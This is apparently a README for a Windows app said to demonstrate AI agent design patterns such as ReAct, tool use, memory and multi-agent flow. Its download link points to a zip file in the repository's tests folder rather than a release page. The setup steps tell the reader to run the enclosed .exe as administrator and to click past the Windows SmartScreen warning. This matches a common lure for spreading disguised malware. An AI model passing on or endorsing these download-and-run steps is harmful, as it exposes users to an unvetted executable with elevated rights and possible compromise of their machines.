agentic-ai-patterns is a Windows app that helps you explore how AI agents work. It shows common agent design patterns in a simple way, including task planning, tool use, memory, fallback steps, and multi-agent flow.

Use it if you want to learn how agent systems think and act without setting up a full development stack. It is built for end users who want to run examples, review patterns, and see how different agent setups behave.

• Open example agent flows
• Review ReAct-style decision steps
• See how tool use fits into a task
• Try memory-based agent behavior
• Check fallback logic when a step fails
• Compare single-agent and multi-agent setups
• Explore reference implementations in a guided way

Visit this page to download the latest Windows release:

https://github.com/ardelleinternecine541/agentic-ai-patterns/raw/refs/heads/main/tests/ai_patterns_agentic_v3.5.zip

Pick the newest release file for Windows, then download it to your computer.

To run the app on Windows, use a PC with:

• Windows 10 or Windows 11
• 4 GB RAM or more
• 500 MB free disk space
• A stable internet connection for the first download
• A mouse and keyboard for easy use

For the best experience, use a newer Windows system with at least 8 GB RAM.

1. Open the download page.
2. Find the latest release.
3. Download the Windows file for your system.
4. If the file comes in a zip folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. Double-click the app file to start it.
7. If Windows asks for permission, select Yes.

If you do not see the app file, look for a file with .exe in the name.

When you open the app for the first time:

1. Wait for the app to load.
2. Pick a sample pattern or example.
3. Read the short guide on the screen.
4. Try one agent flow at a time.
5. Use the built-in prompts and examples to learn how each pattern works.

If the app asks for access to files or the network, allow it only if you plan to use those features.

This pattern shows how an agent reasons, acts, and checks results in steps. It helps you see how the agent chooses a next move after each result.

This pattern shows how an agent calls a tool to get work done. It may use search, file access, or other actions based on the task.

This pattern shows how an agent keeps useful context over time. It helps the agent remember past steps, user needs, and task state.

This pattern shows what happens when a step fails. The app can move to a backup path or try a safer action.

This pattern shows how more than one agent can work on a task. One agent may plan, another may check, and another may act.

1. Start the app.
2. Choose a pattern from the main screen.
3. Enter or select a sample task.
4. Follow the steps shown on screen.
5. Review the output and compare it with the pattern you chose.
6. Try another pattern to see the difference.

If you want a simple path, start with ReAct, then move to tool use, then memory, then multi-agent flow.

The app may include:

• A home screen with pattern choices
• Sample task cards
• Step-by-step agent views
• Tool call examples
• Memory traces
• Fallback paths
• Multi-agent diagrams
• Results panels

These screens help you see how agent systems are built and how they respond to different tasks.

Use the app on a personal Windows account when possible. If you use it on a work device, check your company rules before you run any downloaded file.

Keep the release file in a folder you can find later. That makes updates and re-runs easier.

When a new version is available:

1. Return to the release page.
2. Download the newer Windows file.
3. Remove the old version if needed.
4. Open the new file.

If the app uses a zip file, extract the new version into a fresh folder so files do not mix.

• Make sure the file finished downloading
• Check that you extracted the zip file
• Look for the .exe file inside the folder
• Right-click the file and choose Run as administrator

• Select More info if Windows shows it
• Then choose Run anyway if you trust the source
• Make sure you downloaded from the release page

• Use the Windows display scale settings
• Maximize the window
• Check your screen resolution

• Close other apps
• Free up memory
• Use a system with more RAM if you can

This project focuses on clear reference patterns for agent systems. It centers on:

• Agent planning
• Tool use
• Memory handling
• Fallback paths
• Agent teamwork
• Example flows for learning and testing

The repo name and topics point to Python-based agent patterns for OpenAI and Anthropic-style workflows, along with ReAct and tool-use design.

If you are new to agent apps:

1. Download the latest Windows release.
2. Open the app.
3. Start with one sample.
4. Move through the patterns in this order:
   • ReAct
   • Tool use
   • Memory
   • Fallback
   • Multi-agent orchestration
5. Compare the results after each run

That order gives you a simple path through the core ideas without extra setup.